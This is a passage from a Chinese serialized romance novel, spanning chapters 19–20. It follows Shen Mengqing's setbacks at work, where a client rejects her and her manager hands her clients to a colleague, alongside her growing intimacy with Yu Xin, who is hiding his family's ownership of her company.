“反正咱俩都分开了,有些话我也就直说了,和你在一起的时候,我从没感受到你对我的喜欢,只有我在一味的付出。”他忽然又自嘲地笑了下,“不过我当初追你,也是因为他们都夸你漂亮,我就在想,如果我能追到你,那多有面啊,没想到,你还真答应了。” 沈孟青对他彻底失望了,曾经自己怎么会以为他是个正人君子的,她推开林向阳的手,说:“你让我觉得恶心。” “你也一样,沈孟青。” 林向阳说:“我们本质都是一样的人,不然你也不会为了留在北城,去攀上公司太子爷。” “你嘴巴放干净点,什么太子爷。” 沈孟青莫名其妙,他在这抽什么风。 林向阳一怔,观她像是不明白的表情,莫非是他想多了。 他再试探地追问说:“你不认识?你们董事长的儿子,叫余……” “向阳,你们聊什么呢。” 万珍方才见林向阳和沈孟青的位置一直空着,疑窦横生,找了个借口离席来寻人,没想到,这两人还真凑在一起。 甚至,距离有点近。 她飘飘然走过来,端着高贵优雅的气质,手往林向阳胳膊上一搭,高调地宣示着主权。 她微笑地看向沈孟青,目光却不太友好:“沈总,梁总好像刚喊你呢。” 沈孟青礼貌地点了个头,说:“那我先回去了,您们聊。” 林向阳见沈孟青走远,暗自怪罪万珍偏偏在这个时候出现,不过转瞬间,他又有了新的主意。 倘若他把沈孟青这单搞黄,余辛会不会偏帮她呢? 他不能和万珍直说,不然万珍定然会盘问到底,他想到个点子,入戏很快地多看了沈孟青背影几眼,装出情绪复杂的神色。 他的小动作全部落入万珍眼里,万珍压下内心的躁郁,挽着他走了。 酒局在九点时结束,众人站起身,万珍和梁军握了个手,口头敲定了合作,约定尽快发送合同细节。 聊到最后,万珍笑容不减,却没来由地看了眼沈孟青,说:“梁总,我还有个小请求。” 梁军自是殷勤道:“您说您说。” “我们这次合作,就不由沈总来对接了吧。我记得张总的儿子也在你们部门,叫张图是吧,就让他来,以后宏图合作的事,都给他负责。” 这句话犹如一颗惊雷,在沈孟青脑中炸开。 同事在背后抢客户,领导偏心给关系户喂资源,她都见过,忍过,但这还是第一次,经她手的客户当面说要别人来负责,对于她来说,这无异于当众直接给了她一巴掌。 沈孟青深吸一口气,保持体面地从容问道:“万总,我可以问一下理由吗?如若先前有我礼待不周的地方,还请您说明,我以后改正。” “没什么理由。”万珍那股娇蛮大小姐脾气也不藏着掖着了,直白地刁难她,“你的工作能力,我看不上。” 见沈孟青还想争辩,梁军连忙说道:“这都小事,我等会就和张图说,让他来好好对接一下,万总您放心,我先送您上车。” 他径直把沈孟青往后一挤,躬身将万珍一行人请了出去。 空空荡荡的房间,只剩下沈孟青、齐书盈和研发部的人,研发部经理也要走了,他旁观了全程,叹了口气拍拍沈孟青的肩膀说:“下回再好好努力吧。” 沈孟青无意识地握紧了拳头,像被抽干了灵魂,滑坐在椅子上。 宏图是块大资源,如果以后合作多了,都不敢想会占销售部门业绩的多大占比,沈孟青本想带着这个成绩,去找媒介部经理面谈的。 更令她生气的是,万珍竟然公开质疑她的工作能力。 沈孟青向来是个努力的人,在去年评为销冠后,她也逐渐拥有了职业自信,在销售部目前的人里,她的各方面素质数一数二。 再者,才吃一顿饭,能看出什么工作能力,一定是林向阳在背后搞了鬼,让万珍看她不爽。 沈孟青垂头思忖着,齐书盈以为她是在伤心忍泪,蹲下安慰她说:“孟青姐,没事的,只是丢了一个客户而已,我相信你能遇到更好的客户资源。” 沈孟青笑着拍了拍她,不想让新人看见自己颓丧的一面,拉着齐书盈出门说:“走吧,我给你打个车,很晚了,你赶紧回家休息。” 网约车恰好在她们走到大门时到了,目送着齐书盈上了车,沈孟青回了餐厅大堂,找了个等位的座坐下。 她心情很差,掏出手机,肌肉记忆般拨下了一串电话。 听筒里是无尽的等待接通音,她的心也缓缓坠入望不见底的深崖。 她又打了第二个、第三个…… 直到按下举起的动作做到厌烦,她才泄气地垂下了手。 余辛能不能接起电话,像以前一样,接住此刻脆弱的她。 …… 不知过去了多久,沈孟青长呼一口气,走出了餐厅。 她查了下这里距离她小区不算太远,走回去也不过二十多分钟,就当散散心好了。 起初,身边还有不少飞驰而过的汽车和散步的路人,再走了大概十分钟左右,她发觉四周寂静得很,远处满是黑漆漆的树丛,人影都看不见了。 沈孟青后背一凉,闷头抱紧自己,脚步加快,手机铃声骤然响起时,她被吓得抖了几抖。 看清是余辛打来的电话后,她整个人安定了不少。 “喂?你没事吧?” 余辛看见好几通她的未接电话,心下一紧,立马回拨了过来。 沈孟青边走边说道:“我没事,你那边呢,怎么样了?” 余辛沉默了会,说:“老样子,他身体不太行了。” 他的语气依旧平淡,但沈孟青听得出来他的低气压,她停下步伐,一股冲动的血液倒流上头,说:“你在哪,要不要我来陪你。” 余辛扯了下嘴角,如果沈孟青在现场,肯定会嘲笑他笑得比哭还难看,他轻声道:“不用,我准备回去了,在这里帮不上什么忙,有人照顾他。” 余莫成的病情目前又稳定了,陈姨来了医院,还请了护工,他坐在病房里没活干,跟座佛似的供着,白白占了块面积,没多久被陈姨赶了出去。 沈孟青听完他的话,似乎有些失落,小声“哦”了句。 余辛明白了几分,故意说:“你没事的话那我挂了。” 沈孟青:“嗯。” 这句好像更沮丧了。 “你是不是想见我。”余辛说。 他直白发问,沈孟青好不容易收起的情绪像是开了闸一般,汹涌地涌了出来。 她难过地说道:“余辛,你能不能来接我。” 余辛愣了愣:“你在哪?” 沈孟青也说不出自己这地方,她又没余辛微信,发不了定位,她把餐厅的名字报给了余辛,走回去等他算了。 暮色沉沉,餐厅里的客人不剩多少,没了七八点时的热闹,大堂只有孤零零一个服务员。 沈孟青就站在大门前,看着一辆辆车载上人扬长而去,今晚折腾了这么久,她身心俱疲,眼眶酸胀,时间流逝下,累得快要站不住脚,但她执拗地想要在门口等,期盼下一辆车是为自己而来的。 终于,一辆黑车驶入,精准地停在了她面前。 沈孟青拉开车门,几步上了车,余辛侧目望向她,四目相对的一瞬间,沈孟青背过手将门带上,把手提包往地上一扔,抚上余辛的胳膊,吻了上去。 她也说不清自己这是怎么了,突然有种对于肌肤触碰的极度渴望,需要真切地感受到有个人就在自己身边。以前遭遇到了委屈时她从没这样过,都是靠自己消化。 她贪婪地汲取余辛身上的木质清香,这香气犹如一支镇定剂扎进她血管里,平复了她郁结的心情。 后头的车等得不耐烦,按响了喇叭,沈孟青才松开手,在位置上端正坐好。 余辛瞥了眼她,没有说话,踩下了油门。 …… 快到小区门口,在最后一个红绿灯,余辛开上了另一条方向的道。 沈孟青朝他看去,说:“这是去哪?” “我家。”余辛将方向盘一拧,说道。 沈孟青的脑子缓冲了下,而后睁大了眼。 他家?! 沈孟青现在心情有点复杂,曾经她在便利店边观赏这个高档小区边吃饭的时候,根本没想过自己会踏足这里。 余辛在地下停车场停好车,沈孟青跟着他下了车,走进了电梯。 电梯在十六层停下,是一户一梯的构造,两人直接进了屋子,余辛拉开鞋柜门,发现家里一双多余的拖鞋都没有,他将唯一的拖鞋递给沈孟青,自己光脚踩在大理石地板上。 房子十分宽阔,家居用品却少得可怜,和刚拎包入住没什么区别,每一处都是黑白灰的色系,连天花板上装的灯亮度都很低,和外头那些灯红酒绿的建筑仿佛不在一个城市。 沈孟青在沙发坐下,好奇地问道:“你这个房子租金多少?” “买的。”余辛随口答了句,“租的话差不多十万一个月吧。” 沈孟青:“十万?我之前看租房软件上挂价是六万。” “六万应该是小区里最小户型的了,这个房子比较大。” “……” 沈孟青语塞,不是很想和有钱人说话了。 其实她的工资不算低,这些年下来也有些存款,够她在北城付个首付,但若是想买这个位置段和面积的房子,她再工作个三十年怕是都还不完尾款。 瞧见她在走神,余辛看着她说:“你心情不好?” 沈孟青点点头,问他:“你心情不好的时候会做什么?” 余辛思索了下,说:“睡觉。” 这个词放在他们的这种关系之间,有点像带有邀请意味的冷笑话。 沈孟青忍俊不禁,笑着说:“你什么意思。” 她翻过身斜靠在沙发上,面对着余辛,静静看他。 她的视线先是落在他的头顶,在脑海里想象他寸头的模样,再慢慢往下移,修长浓密的眉毛,挺拔的眉骨,流畅的山根和鼻梁,一双勾人的冷目,和微薄的嘴唇。 情之所动,她上前继续了在车里的那个潮闷的吻。 沈孟青换了个舒服的姿势,半跪在沙发的坐垫上,双手捧住余辛的脸,低头细细密密地吻着他,她垂下的发丝包裹住了他的头骨。 她忽然觉得还是不够,伸出腿跨过他,坐了下来,余辛扶上她柔弱纤细的腰肢,怕她失去重心。 沈孟青的手从他清削的下颚起,一路畅通无阻地向下滑,最后停在了裤腰上。 余辛穿的是一套运动装,她单手解开了裤带,却被一只横来的手按住。 “我家没那东西。” 余辛仰起头,盯着她说。 沈孟青深吸了口气,抽出手狠狠在他手背上一拍,滚回了原先的位置躺好,嘟囔道:“不早说。” 气氛极速降温,两人各自舒缓了下躁动的心跳。 平复好后,沈孟青歪头问余辛说:“你真的不用去医院陪你爸爸么?” “不用,说不定他醒来看见我气得血压飙升,反倒有危险。” 余辛自嘲地说。 他们最近三天两头地吵架,估计是余莫成身体情况真的不太妙,他急得不行,逼余辛同意接管公司的方式层出不穷,余辛偶尔想回家探望下他,没聊几句就又被他数落一顿,说他和他妈都是白眼狼。 他和余莫成吵了一辈子,到头来已经不知道该怎么像平常父子一样好好相处了。 沈孟青捏了捏余辛的肩,说:“叔叔会没事的。” 这时,姜羽打了电话过来,八成是看见了沈孟青发的那条劲爆八卦。 “阿青,你知道你这条消息给了我多大的震撼吗,万珍和林向阳两个八杆子打不着的人怎么会在一起,你快把细节统统告诉我啊啊啊!”姜羽音量极大,击溃了手机的收声,全部落入了余辛的耳朵里。 沈孟青假笑着看了眼余辛,对姜羽说:“我晚点告诉你行不行。” 姜羽斩钉截铁:“不行!我太好奇了。” 她看了眼时间,说:“都这个点了,你说话有什么不方便的。还是说,你旁边有人啊?” “嗯,我……我弟弟在。” 余辛听见沈孟青这话,对她露出不爽的神色,使坏地伸出手,在她腰上痒痒肉的位置一掐。 沈孟青差点惊叫出口,被痒得缩成一团,还得忍住不出声,痛苦十分地恶狠狠瞪了眼余辛。 姜羽:“你哪个弟弟啊,不上学吗?” “我三姨儿子刚高考完,来北城看看。我先不说了,挂了。” 沈孟青按下挂断,等不了一刻地扑向余辛报仇,可是这人跟木雕的似的,一点儿都不怕痒,慵懒的姿势动都没动,垂眼看着她,倒显得上下其手的她和跳梁小丑一般。 她耷拉着脑袋跌坐下来:“不玩了。” 余辛头一仰,枕着沙发背沿说:“所以你不高兴,是因为看见了前男友?” “也不全是。”沈孟青说。 余辛张了张嘴,沈孟青一对上他那凉飕飕的目光,当即捂上了他的嘴:“闭嘴,别又想讽刺我。” 余辛抬手移开她的手腕,说:“至少你有一件事值得高兴的。” “?” 沈孟青不解。 “你眼光变好了很多。” 他淡然地说出了臭屁的话- 之后一段时间里,沈孟青更加拼了命地工作,像是要从其他客户身上找回在万珍那里丢了的职业自尊,有时候她看着齐书盈陪自己一起加班都于心不忍,劝她准点下班就行。 大概是什么样的师父带什么样的徒弟,齐书盈没有一天提早下班,不喊苦不喊累地陪沈孟青加班。 每天晚上躺下时,沈孟青本想在被窝里玩会手机,一看已经十一点多了,没玩多久就累到睡着。 余辛那边呢,估计是他爸爸病情不佳,这段时日里沈孟青和他见过面的次数屈指可数,他们两个人一个**疲惫,一个心情低落,和冬日里抱团取暖的小动物似的,从对方那寻找慰藉。 等结束后,都筋疲力尽地极速陷入睡眠。 沈孟青有时候觉得,他们本质都有些缺爱,她失去了爱她的父亲,余辛则是有个不幸福的家庭,当他们凑一块时,身体的刺激会令他们专注于当下,携手磕磕绊绊地逃离现实世界,去向另一个只容得下两个人的乌托邦。 但是藏身在另一个世界里,时间是有限的。 当余辛很久没有联系她后,她偶尔会在工作或是生活的罅隙间想起他,心里有一角空落落的。 沈孟青在这时变得矛盾起来,她的大脑似乎自动预警到了对余辛投入太多感情的话,以后做出了断时会很伤心,所以她又逃避似的把这个空旷的角落上了锁,不去想他。 如此看来,她和林向阳谈恋爱时,真的不算多喜欢他,只是因为他的身份是男朋友,沈孟青很多事会出于女朋友的责任去做。 而余辛不是她男朋友,他们也没什么以后。 会不会这样下去,他们渐行渐远,就在某一天自然而然的断了联系。 沈孟青还是头一回思考这么复杂的感情问题,她胡乱想了半天,发现越想越烦。 她甩了甩信息过载的脑袋,决定赶紧约媒介部经理见个面,将工作上的事情处理好,再去考虑别的。 翻开办公软件里的通讯录列表,她查找到媒介部经理的名片,点击进了聊天框。 媒介部是董事长前年新设立的部门,说是要跟上互联网时代,重视智能数据和媒介投放,因此单独设立了这个董事长办公室直管的部门,是公司里的热饽饽。 沈孟青在销售部干了四年多,就部门内这情况,今年升职名额定然是张图的,还指不定多少年后才能轮到她。 去媒介部,是她新的一步职业规划,她必须要实现。 媒介部的部门经理梁如薇是位女士,沈孟青在全体大会时远远见过两三面,只记得她留着干练的短发,长相很有女人味,穿着时尚,气质干练。 姜羽说梁如薇三十出头,离了婚,自己一个人带着女儿在北城,在工作上属于人狠话不多的类型,但人很不错,对于部门里的员工很护短。 明明都姓梁,人和人之间还真是不一样。 她斟酌了很久话术,最后还是简短发送说: 「您好梁经理,我是销售部沈孟青,想问问您最近什么时间方便面谈吗,有一些问题想和您请教。」 其他的话,她打算在见面时聊。 习惯了梁军过一两天才读消息的速度,在过了十几分钟后收到回讯时,沈孟青有些惊讶。 梁如薇:「今天下午四点OK吗?」 沈孟青立即回复:「可以的。」 约好了时间地点,沈孟青心突突地跳着,她反射弧很慢地紧张起来,没想到这么快就能见上。 为了这次面谈,她准备了很多,沈孟青深呼吸了下,仔细回顾起自己写好的述职材料。 …… 午后三点五十。 沈孟青搭电梯去了媒介部在的楼层,和经常出外勤见客户的销售部不同,媒介部是要严格坐班的,部门里热闹得很,姜羽抬眼看见沈孟青来了,早就坐不住迎了上去。 她挽上沈孟青领她去梁如薇的办公室,见大门紧闭,姜羽说道:“好像薇姐在见客,你在门口等等吧,我就先回去啦。” 要是门一开梁如薇瞧见她在这和人聊天摸鱼,肯定要敲她脑门了。 姜羽给沈孟青比了个加油的姿势,一溜烟跑回了工位。 走廊里安安静静的,隔音很好,她突然有种当年毕业等待面试的心情,低头看了看手里打印好的个人资料,在心里给自己打气。 没等太久,办公室的门从里被人打开,沈孟青往侧边移动了下,给出来的人让路。 门被打开后,隔音效果瞬间消失,靠近门口的人说话声音直直传入沈孟青耳朵里。 这男人的声音熟悉得她一愣,那个名字在她唇边呼之欲出。 等人真正走了出来,沈孟青抱着资料的胳膊脱力般一松,满是字迹的纸张散了一地。 她和余辛就这么面面相觑,都很意外对方的出现。 余辛穿着一袭正装,衬出他肩宽腰窄的好身材,甚至戴上了银边眼镜,禁欲高冷的气质尽显,如若是第一次见,沈孟青都会以为他是哪个公司高层,和这里的气场极为贴合。 这副打扮的他比以往要撩人很多,往那一站不用说话,就足以粲然夺目,只是,沈孟青感觉他变得遥远又陌生,不敢靠近—— 作者有话说:辛子极限刹车哈哈哈哈《 》 19、第十九章 第19章 第十九章 “姐姐就不能摸摸头吗?”…… 片刻后, 余辛先回神地关上了梁如薇办公室的门,蹲下身边帮她收资料,边低声问她:“你怎么在这?” “?” 沈孟青垂头看他:“这话该我问你吧?” 收拾得差不多, 余辛把手里的一沓纸递给沈孟青, 眸色渐深。 他开口道:“我来找我表姐,有点事。” 沈孟青消化了下他的话, 不可置信地问:“梁经理是你表姐?” 余辛点了下头, 再看向她时, 眼神直勾勾的, 十分敞亮。 这样的他让沈孟青熟悉得多。 怪不得之前能在这幢楼偶遇他几次,原来他是来找梁如薇的。 正巧, 办公室的门又开了, 梁如薇见余辛和沈孟青都杵在她门口,疑惑地问:“你们俩在这干嘛呢?” 余辛回她说:“没事, 我先走了, 表姐。” 不知道是不是错觉,沈孟青察觉到他在说表姐两个字的时候,刻意地加重了读音。 梁如薇听见这两个字,鸡皮疙瘩都起来了, 对她这个远房表姐, 余辛对她连名字都很少喊, 什么时候叫过表姐这么亲热的称呼。 她直接飞了个眼刀给余辛, 刚想怼他两句,却敏锐地捕捉到了自己这“表弟”看向沈孟青的目光, 不太对劲。 梁如薇不是个爱过问别人私生活的人,她当没看见,将沈孟青请进了办公室, 递上一杯温水,说:“你找我是有什么事?” 梁军果然没有找她提过自己的申请。 沈孟青沉了沉心,将手上的东西放在桌上,说:“梁经理,这些是我的简历和一些工作成果汇报,我想和您聊聊转岗的事。” 她表明了来意,按照打过八百遍的腹稿条理清晰地和梁如薇阐述自己的规划,在她说话的时间里,梁如薇一直保持着安静,时不时点点头,表示对她的肯定。 过了大约十几分钟,沈孟青讲到口干舌燥,才停下来喝口水休息。 梁如薇翻阅着她的资料,说:“你的情况我差不多了解了,对于各个部门间的人才流动公司向来是很支持的,更不用说你这样业绩出色成果突出的同事,我们媒介部当然很乐意你来。” 她话锋一转:“但是,你应该知道,这种审批流程经转的第一人就是你的直属上司,也就是梁军,没有他的同意,我没办法去开口要人。” 沈孟青自然明白这个道理,甚至她能想象到,她这样越过梁军来找梁如薇,梁军知道后会有多生气,但她有些等不及了。 被恋爱多年的男友分手,前男友和重要客户恋爱还搅黄了自己的业务,直属领导对关系户的偏爱,陷入职业瓶颈的困境…… 不知道什么时候开始,她生活的天平从一个微小的偏差,发展到了巨大的失衡,即便她再努力,好像也没办法将其拉回原来的轨迹。 她不想放弃,和自己狠狠较劲,哪怕是一线机会,她也想争取。 “没有别的办法了吗?” 沈孟青问道。 梁如薇叹了口气,摇摇头说:“没有,除非是董事长亲口让你调动。” 沈孟青苦笑了下,她去哪认识董事长去,就算找到了,人家也不会搭理她这一个小小职员。 “我明白了,谢谢梁经理。” 沈孟青收好带来的物件,出了梁如薇的办公室。 回到自己的工位,沈孟青泄力地在椅子上一躺,还没放空多久,齐书盈敲了敲她的桌子,喊她去会议室开会,不给她一刻喘息的时间。 办公室坐满了人,除了她都到齐了,梁军坐在最里头的独立座位,皱眉看着她进来。 “我说了多少次了,确定了要开会后就自己错开其他事情的时间,不要耽误大家工作。” 沈孟青扯了扯嘴角:“抱歉。” 梁军也懒得和她多说,会议开始后,他先听了下同事们的进度汇报,随后便安排起近期工作。 顺序轮到沈孟青时,梁军眼里划过一抹暗色,说:“你整理下手头和宏图资本有关系链存在的客户,过几天都移交给张图吧。” 听到这话,沈孟青下意识瞪圆了眼睛,惊愕地看向梁军。 宏图资本这些年投资了很多公司产业,涉及到的客户至少占了她百分之八十的业绩产出,梁军这话和架空她所有工作没什么区别了。 她尽力压下隐隐待发的情绪,维持着冷静,说道: “我能问问理由吗?” 梁军头也不抬,说:“这是万总亲自吩咐的,我还想问问你为什么呢,你如果想要理由,可以自己问去。” 沈孟青微微张嘴,还想说些什么,梁军却堵她话一般继续往下开会了。 张图就坐在梁军的右手,她将目光移过去,张图毫不掩饰地对上她的眼睛,嘲讽似的笑了笑。 沈孟青拿起手机,给张图发道:「会后有时间吗,我们聊一聊。」 张图回她:「OK」 不到十分钟,会议就结束了,沈孟青和张图静静坐在位置上,等其他人离场。 齐书盈是最后走的,沈孟青让她顺手带上门,她怔了怔,不自然地在两人身上来回打量了下,走出门的动作都略带僵硬。 沈孟青没注意到她的异常,在房间里安静下来后,对张图说:“我直说了,你对军哥的安排什么看法?” “我能有什么看法,这对我来说可是大好事,还得感谢你给我送来了这么豪华的客户资源。”张图抱起胳膊说。 沈孟青说:“如果按照他说的,把宏图有关系链的客户都移交给你,那你的工作量会非常大,他们的进度、市调等等各种资料都是我从零跟进亲手做的,只有我最了解。不如我们合作,你觉得呢?” 这是她能做出的最大让步了。 张图大笑起来,摇头说:“沈孟青,你还真是单纯啊。” “军哥早就和我说了,把新来的那齐书盈交给我带,也就过两天吧,人就不会再跟着你干活了。这些天她给我发来了很多你整理的资料,上面都挺详细的,你不知道么?” 他站起身走到门口,在拉开门前,又转头说了句:“我没把你当竞争对手过,因为你根本威胁不到我,我还得感谢你之前的努力,让我接手的时候可以轻松这么多。” 门砰地一声被关上,会议室里的空调早就被离开的哪个同事关上了,七月的天气炎热非常,沈孟青却犹如被闷头浇了一桶灌了冰块的凉水般,感觉身体从里到外刺骨得冷。 她的生活像堵满是洞的墙,任她怎么反复填补,也挡不住四面八方漏出来的风,将她百般摧折。 沈孟青一直沉默地坐在会议室,一动不动,直到窗外夕阳西沉的景致提醒着她时间,她才如梦初醒地回了工位,准备下班。 旁边齐书盈的位置已经被收拾空了,她搬到了张图那里工作,沈孟青望过去的时候和她视线交织了下。 齐书盈欲言又止地看着她,似乎想找她单独说话,但沈孟青这会已没有力气再和她深究,径直出了门。 在写字楼楼下时,她点开打车软件,正想输入家里地址,却瞥见手指底下余辛家位置的记录。 前段时日他们在他家见过,那次她到得太早,余辛还把家里的密码告诉了她。 沈孟青没再犹豫,选好了目的地。 …… 下了车,赶到余辛家门口时,沈孟青反倒踌躇了起来,怕自己的突然造访会打扰到他。 她敲了敲门,等了一会,房子里依旧无人应答,这才按下密码,下意识蹑手蹑脚地进了门。 她懒得开灯,几步走到客厅坐下,看着余辛家里这极简现代的装修,心想就算是真的有小偷来,都不一定知道该从哪下手,空空旷旷的,没多少东西,他又追求格调,买的都是些昂贵小众的品牌,没点实力的小偷都不够识货。 思绪乱飘间,一阵困意袭来,沈孟青意识逐渐模糊,蜷起身子陷入了昏睡。 不知过去了多久,寂寥许久的屋子里传来了开门的声音。 沈孟青没有转醒的迹象,她的鞋放在柜子里,余辛和祝绍明进来时完全没注意到。 依旧没有人开灯,余辛进了屋子,拐弯去冰箱拿水喝,祝绍明则边打着手机游戏边往客厅走,当他摸黑走到沙发边,看见上头有一团黑影时,吓得他蹿出一米远,逃也似的跑到余辛那里,哆哆嗦嗦地躲在他后面说:“那里有人。” 余辛用一种看弱智的眼神瞟了眼他,长腿一迈走到客厅把灯开了。 沈孟青被明晃的灯亮醒,迷迷蒙蒙地坐起身,看了眼余辛,说:“你回来了啊。” “……嗯。” 余辛在心里默默倒数,还没数到一,祝绍明就闪现到了他旁边,脱口而出一句:“我靠!” 这下,沈孟青彻底清醒了,她旋即站了起来,端端正正地说:“嗨,我是来……做客的。” “?” 你看我信吗,祝绍明暗自吐槽道。 “你和余辛是不是在——” 祝绍明话说到一半,余辛抬手捂住了他的嘴,揽着他的肩拽进离得最近的房间,紧紧关上了门。 等人影没了,沈孟青急忙进洗手间整理了下自己微乱的衣服和头发,重新在沙发上坐好。 很快,余辛从里头走了出来,祝绍明跟在他身后,淡定了很多。 他礼貌地向沈孟青自我介绍说:“你好,我是祝绍明,他朋友。” 沈孟青眨了眨眼,见祝绍明这态度,了然他是想隐瞒他们之前见过的事,回他说:“你好,我叫沈孟青。” “也是他朋友。”她解释说。 互道完姓名,沈孟青等着祝绍明下一句话,他却转头看手机去了。 祝绍明嘴巴紧紧闭着,看似聚精会神地盯着屏幕,实则不时地偷偷瞄几眼她和余辛的动静,沈孟青看明白了,估计是余辛不让他多说话。 气氛诡谲,沈孟青怕再待下去他们因为自己不自在,起身说:“我先回去了。” 祝绍明立马抬起头:“啊?你别走啊,要不我走吧。” 懒洋洋靠在墙边的余辛当即搭话说:“我送你。” 祝绍明:“……” 要不要接得这么快,这是多希望他消失。 “不不不。”沈孟青摆摆手,“我正好有点事,我走。” “那我送你。” 在祝绍明耳里,余辛这句话虽然只多了一个字,但听着比刚刚同一句有感情多了。 无视了祝绍明充满怨气的眼神,余辛随手把水往餐桌一放,先出了门。 沈孟青和祝绍明低声道了句拜拜,三步并两步走到门前,余辛已经按好了电梯,站子电梯里头等她。 她走了进去,转身站在靠外的位置,余辛在她背后,高高大大的身影笼住她,他注视着她低下头藏起眼里的情绪,无精打采得像被雨水浇蔫的桃子。 “你是不是心情不好才想起来找我。”余辛顿了下,说,“下次来之前记得和我说。” 沈孟青心情很差,所以自动把余辛这句话判定为在怪她的不请自来,便也凉戳戳地说:“你来找我的时候心情也没好到哪去。” 她话音刚落,忽地意识到余辛心情差是因为父亲住院,便有些懊悔说了这话,转头看向他,脸色带着歉意。 余辛似是没在意,手一滑兜,目光和电梯顶部的灯光一起垂入沈孟青眼眸里,冷冷说:“我每天心情都挺差的。” 他摆出的臭脸验证了这句话的可信度,但沈孟青听着莫名好笑,即便她现在笑不出来,嘴角也轻微地弯了一下。 到了夏天,两旁的树叶变得愈发油绿,路灯下开始聚集数不清的小飞虫。空气躁热,换上短袖后,两人齐肩走路时总会触碰到互相的胳膊,摩擦过后,肌肤激起一层鸡皮疙瘩。 寻常都是沈孟青找话题,余辛偶尔搭一两句话,眼下她脑子里一团糟,一路上只顾着低头数砖块,恍恍然然,怎么走到家楼下的都不知道。 她还在闷头往前走,余辛步伐一停,出声说:“我就送到这了。” 沈孟青惊觉地回过神,想和他说再见,可喉咙糊住般地吐不出字。 两人就这么无声地对峙了几秒后,余辛微不可察地叹了口气,面无表情地趋步到她跟前。 他伸出右手,在沈孟青的头顶上高高举起,而后轻缓地放下,潦草地揉了揉。 她的微卷发毛茸茸的,手感还不错,只比他以前那只傻狗差一点点。 “别难过了。” 余辛安慰人的时候,语气仍旧没有感情得像是机器,只是声音比平常轻了些,沈孟青想,或许他已然尽力软和了。 沈孟青哑然失笑:“喂,你把我当你养的小狗呢。” 余辛耸耸肩,不以为然地说:“我可没有,再说,有又怎么样。” 说完,他又欠揍地揉了把。 沈孟青手握拳小力地锤他,一字一句反击说:“我、是、你、姐、姐。” “姐姐就不能摸头吗?” 揉揉。 沈孟青彻底炸毛:“不能!!只能我摸你的。” “好吧。” “就这一次。” 余辛倏然敛起了凛冽的气息,低下头,沈孟青抬起手,手法比他还糟糕地胡乱抓了一把。 她缩回手,拍拍余辛的肩:“回家吧,弟弟。” 这还是头一次她去找余辛见面却什么也没做,连亲吻都没有。 沈孟青倒在沙发上的时候,感觉脑袋上还有余辛残留的温热掌温,她不自觉弯起胳膊,学着余辛拍拍自己。 忽然,手下擦过一个柔软的异物,沈孟青将它拈到眼前。 是一朵嫩黄色的小野花。 她心里的烦郁霎时被熨平。 原来是为了放这个才摸她头啊,幼稚鬼—— 作者有话说:玩纯爱来了嘿嘿[撒花]《 》 20、第二十章 第20章 第二十章 戒了? 周六晚上, 余辛约了梁如薇在一家愈生附近的日料店吃饭。 精致莹润的生鲜拼盘被端上了桌,寿喜锅咕噜冒着泡,菜上齐后, 服务员将二人包间的门关上。 余辛没什么食欲, 只喝着茶填腹,梁如薇倒是吃得大快朵颐。 她和眼前这位清闲的大少爷不一样, 每天工作量消耗了她大量体力, 食欲就没差过。 涮肉的间隙, 梁如薇咽下嘴里的菜, 说:“怎么,约我来是想好了要接你爸这公司?” 余辛搁下杯子, 葳蕤的橘色灯光映照在他眼眸里, 转瞬又被长长的睫毛遮住,掩下他全部心绪。 他语调平定地说:“没呢, 你什么看法。” 梁如薇将烫熟的和牛沾进生鸡蛋里一裹, 送进嘴里,酱味浓郁,牛肉鲜嫩,她一脸满足。 余辛见她吃得惬意, 便也提筷夹了块三文鱼, 嚼了几口, 干巴巴地喝了口茶送下肚里, 还是没什么想吃东西的欲望。 梁如薇终于想起来回答他的问题,揶揄地说:“我当然很支持了, 以后董事长就是我‘表弟’,那我在公司里不是横着走。” 余辛知道她是在阴阳他那天喊表姐的事,无奈地说:“那天是事出有因。” “看得出来。”梁如薇笑了笑, “你不想让她知道你和公司的关系,所以只能和我扯上关系,来解释你为什么会出现在这里,对吧?” 余辛的沉默间接证实了她的猜测,梁如薇很少能抓住他的把柄,这会自然不想放过他,又说道:“为了她想接盘的?没看出来,你会谈办公室恋爱。但是你都不向她坦白的身份,别怪表姐没提醒你,女人可是最讨厌欺骗的。” “不是因为她。” 他和沈孟青之间不需要靠这个公司来链接,反倒如若他来公司了,他拿不准沈孟青对他的态度会变成什么样。 在这段关系里,他好像没什么自信。 是前些天,有许久未见的个人找他见了一次面。 这个人的出现彻底搅乱了他所有的计划,把他好不容易透出阳光的生活,又拉入了层层霾雾之中。 余辛眸光闪动了下,整个人的气场变得如冰山般冷峻。 他听着梁如薇有一搭没一搭地聊愈生的事情,手叩在茶杯上,垂首思虑。 聊到最后,梁如薇想起什么似的,说:“我不太喜欢说单位里的八卦,但有件事传到了我耳朵里,想想还是告诉你吧。” “沈孟青想转来我的部门,但审批流程被她部门领导梁军卡了大几个月了,梁军这个人你可能不清楚,工作能力我就不评判了,他私下比较爱和股东拉关系,听说张总的儿子刚进公司没几年,就在他们部门风生水起,前些天梁军把沈孟青手上的大部分客户资源都转移给了张图,说句难听的,就是在逼她主动提离职。” “不过呢,你要是不想接公司,你也不必当回事。” 梁如薇有点故意激他的意思,她挺好奇,余辛会做出什么样的决定。 令她失望的是,余辛没有很大的反应,只点点头,索然无味。 饭局结束,两人拿起账单出门,还没走多远,在经过一个大包间时,一个愈生的同事从里头走出来,和两人打上照面。 这人是销售部的,认出梁如薇后,连忙客气说道:“梁经理,你也在这吃饭。” 至于梁如薇旁边那个眉目微凛的年轻男人,他就不认识了。 梁如薇笑了笑,无意往房间里瞥了眼,恰巧和坐在主位的梁军对上了目光。 梁军立马起身走了出来,他正想和梁如薇打招呼,却在看清她身旁是谁后,脸色一变,瞬间恭敬了十分。 “小余总你好,我是愈生销售部的梁军。”他向余辛伸出手,“这么巧,你和梁经理也来这吃饭。” 梁军在心里冷笑了声,嘲讽梁如薇动作倒是快,余董事长还在病中呢,就等不及和余辛来搞好关系了。 余辛迟滞地回握了下,沉声说了句:“嗯。” “你们吃饱没啊,我们部门团建聚餐呢,点了很多菜,要不要一起?”梁军热情地邀请道。 梁如薇很讨厌这种阿谀奉承表里不一的人,反正余辛这性子肯定不会答应,她也就懒得找借口脱身,等余辛拒绝他。 谁料,没过几秒,余辛淡漠地扫视了下房间里的人,回了句:“好。” 梁如薇难掩讶异,看着余辛跟在梁军身后进去,观他神情,怎么有种风雨欲来的感觉。 她也进了包间,环顾一圈,发现沈孟青居然不在。 难怪余辛敢进来,梁如薇算是明白了,他怕不是来替沈孟青出气的,她还是第一次见自己这冷淡的远房表弟这么把一个人放在心上。 